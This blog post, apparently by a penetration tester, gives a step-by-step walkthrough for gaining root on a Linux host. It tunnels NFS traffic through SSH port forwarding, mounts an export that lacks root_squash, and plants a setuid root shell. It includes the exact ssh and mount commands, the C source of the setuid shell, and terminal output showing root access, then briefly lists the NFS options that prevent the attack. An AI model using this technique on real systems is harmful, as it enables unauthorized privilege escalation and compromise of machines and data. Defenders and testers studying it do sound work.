NFS Pivoting Via SSH For Easy Privilege Escalation And More

It’s easy to take advantage of insecure NFS mounts to escalate privileges on a system you have user level SSH access to without introducing any tools to the remote system by tunneling our NFS traffic and having our source appear to be that of the target server. This can be done without direct network access to the NFS server and does not require us being defined in the exports access control list. If the NFS server was directly accessible and mountable from our location we would just do this the normal way and mount directly.

In this instance the set-up might be a Linux server that has a mounted NFS export without root_squash or secure set and is mounted without the nosuid or noexec option. This situation is not that uncommon in NFS heavy environments.

We also do not need to be able to route directly to the NFS server from our attacker location so it being in an inaccessible or firewalled zone doesn’t cause a problem. By tunnelling the NFS connection using SSH port forwarding we will be assuming the identity of the target server so if an export is available to it, it’s available to us!

The three systems described in the scenario are as below, the NFS server is only accessible to the target system here.

      +----------+   +--------+   +------------+
      | Attacker |-->| Target |-->| NFS Server |
      +----------+   +--------+   +------------+

Firstly check the mounted file systems on the target system with the mount command looking for an already mounted NFS export that you have read access to and is not mounted with the nosuid/noexec options:

nfs-filer:/export/filesystem1 on /filesystem1 type nfs (rw,addr=

Take a note of the IP address of the NFS server and also take note of other exported file systems that may be available to the target but not mounted using showmount -e.

Back on the attacker system, ssh to the target and port forward the local NFS port 2049 to the remote NFS server port 2049 via the target.

attacker # ssh -L 2049:NFS-Server-IP:2049 ouruser@target

Now as long as the above was successful, on the attackers system as root we locally mount the chosen export using our forwarded port.

attacker # mount -v -t nfs -o port=2049,tcp localhost:/export/filesystem1 /mnt/filesystem1

Now on the attacker system we check that we can access the contents of /mnt/filesystem1 and that we have write access as root by creating a file and checking the owner on the target system, this should be owned by root.

attacker # touch /mnt/filesystem1/.nfstest

target $ ls -l /filesystem1/.nfstest
-rw-r--r-- 1 root root 0 Mar 14 01:49 /filesystem1/.nfstest

Now back on the attacker host we can chmod +s this file to check suid files can be created and we should hopefully see the following:

attacker # chmod +s /mnt/filesystem1/.nfstest

target $ ls -l /filesystem1/.nfstest
-rwsr-sr-s 1 root root 0 Mar 14 01:49 /filesystem1/.nfstest

Now if we want to take advantage of this on the attacker system we can do something like the following to create a suid binary, this can be compiled on the remote file system or the attacker system depending on the circumstances.

attacker # cat suidsh.c
int main() { setuid(0); setgid(0); execl(/bin/sh, sh, NULL); }
attacker # gcc -o /mnt/filesystem1/.nfstest suidsh.c
attacker # chmod +s /mnt/filesystem1/.nfstest

Now head on over to the target system and do the deed:

target $ ls -l /filesystem1/.nfstest
-rwsr-sr-s 1 root root 0 Mar 14 01:49 /filesystem1/.nfstest
target $ id
uid=1000(luser) gid=1000(luser) groups=1000(lusers)
target $ /filesystem1/.nfstest
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1# #bingo :)

Even if the above fails due to root squashing, nosuid or some other reason we still have access to the contents of the exported file system via our tunnelled mount which in itself might provide enough win.

Another thing we can do is to mount file systems that are available to the target system even if they are not mounted by the target. It’s always worth having a look around for other NFS exports or servers that might be available to the Target that can be tunnelled in this way.

A few NFS export options can be set to prevent the above, the use of the secure option will require connections come from a port below 1024 meaning our mounting as a normal user using an SSH tunnel would not work. The use of root_squash which is a common default now would also prevent us becoming root, however we may still be able to become or alter another users content which might lead to root privileges. The local mount options of nosuid and noexec would prevent suid files and executable files on the mount but again there may be other ways to escalate depending on the file system contents.

The above will also not work if ssh port forwarding has been disabled, however with shell access on the target system we can just do this another way if needs be. We could also do a lot of the above with user space tools introduced to the target system but I prefer solutions that do not require uploading tooling to systems wherever possible.


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s